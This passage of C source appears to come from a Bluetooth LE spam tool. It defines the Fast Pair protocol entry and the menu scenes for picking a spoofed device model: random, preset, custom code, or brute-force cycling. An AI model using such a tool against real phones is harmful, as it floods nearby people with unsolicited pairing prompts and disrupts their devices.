  611. static uint8_t config_count(const Payload* payload) {
  612. UNUSED(payload);
  613. return ConfigCOUNT - ConfigExtraStart - 1;
  614. }
  615. const Protocol protocol_fastpair = {
  616. .icon = &I_android,
  617. .get_name = get_name,
  618. .make_packet = make_packet,
  619. .extra_config = extra_config,
  620. .config_count = config_count,
  621. };
  622. static void model_callback(void* _ctx, uint32_t index) {
  623. Ctx* ctx = _ctx;
  624. Payload* payload = &ctx->attack->payload;
  625. FastpairCfg* cfg = &payload->cfg.fastpair;
  626. switch(index) {
  627. case 0:
  628. payload->mode = PayloadModeRandom;
  629. scene_manager_previous_scene(ctx->scene_manager);
  630. break;
  631. case models_count + 1:
  632. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
  633. break;
  634. case models_count + 2:
  635. payload->mode = PayloadModeBruteforce;
  636. payload->bruteforce.counter = 0;
  637. payload->bruteforce.value = cfg->model;
  638. payload->bruteforce.size = 3;
  639. scene_manager_previous_scene(ctx->scene_manager);
  640. break;
  641. default:
  642. payload->mode = PayloadModeValue;
  643. cfg->model = models[index - 1].value;
  644. scene_manager_previous_scene(ctx->scene_manager);
  645. break;
  646. }
  647. }
  648. void scene_fastpair_model_on_enter(void* _ctx) {
  649. Ctx* ctx = _ctx;
  650. Payload* payload = &ctx->attack->payload;
  651. FastpairCfg* cfg = &payload->cfg.fastpair;
  652. Submenu* submenu = ctx->submenu;
  653. uint32_t selected = 0;
  654. submenu_reset(submenu);
  655. submenu_add_item(submenu, "Random", 0, model_callback, ctx);
  656. if(payload->mode == PayloadModeRandom) {
  657. selected = 0;
  658. }
  659. bool found = false;
  660. for(uint16_t i = 0; i < models_count; i++) {
  661. submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
  662. if(!found && payload->mode == PayloadModeValue && cfg->model == models[i].value) {
  663. found = true;
  664. selected = i + 1;
  665. }
  666. }
  667. submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
  668. if(!found && payload->mode == PayloadModeValue) {
  669. selected = models_count + 1;
  670. }
  671. submenu_add_item(submenu, "Bruteforce", models_count + 2, model_callback, ctx);
  672. if(payload->mode == PayloadModeBruteforce) {
  673. selected = models_count + 2;
  674. }
  675. submenu_set_selected_item(submenu, selected);
  676. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  677. }
  678. bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
  679. UNUSED(_ctx);
  680. UNUSED(event);
  681. return false;
  682. }
  683. void scene_fastpair_model_on_exit(void* _ctx) {
  684. UNUSED(_ctx);
  685. }
  686. static void model_custom_callback(void* _ctx) {
  687. Ctx* ctx = _ctx;
  688. Payload* payload = &ctx->attack->payload;
  689. FastpairCfg* cfg = &payload->cfg.fastpair;
  690. payload->mode = PayloadModeValue;
  691. cfg->model =
  692. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  693. scene_manager_previous_scene(ctx->scene_manager);
  694. scene_manager_previous_scene(ctx->scene_manager);
  695. }
  696. void scene_fastpair_model_custom_on_enter(void* _ctx) {
  697. Ctx* ctx = _ctx;
  698. Payload* payload = &ctx->attack->payload;
  699. FastpairCfg* cfg = &payload->cfg.fastpair;
  700. ByteInput* byte_input = ctx->byte_input;
  701. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  702. ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
  703. ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
  704. ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
  705. byte_input_set_result_callback(
  706. byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  707. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  708. }
  709. bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  710. UNUSED(_ctx);
  711. UNUSED(event);
  712. return false;
  713. }
  714. void scene_fastpair_model_custom_on_exit(void* _ctx) {
  715. UNUSED(_ctx);
  716. }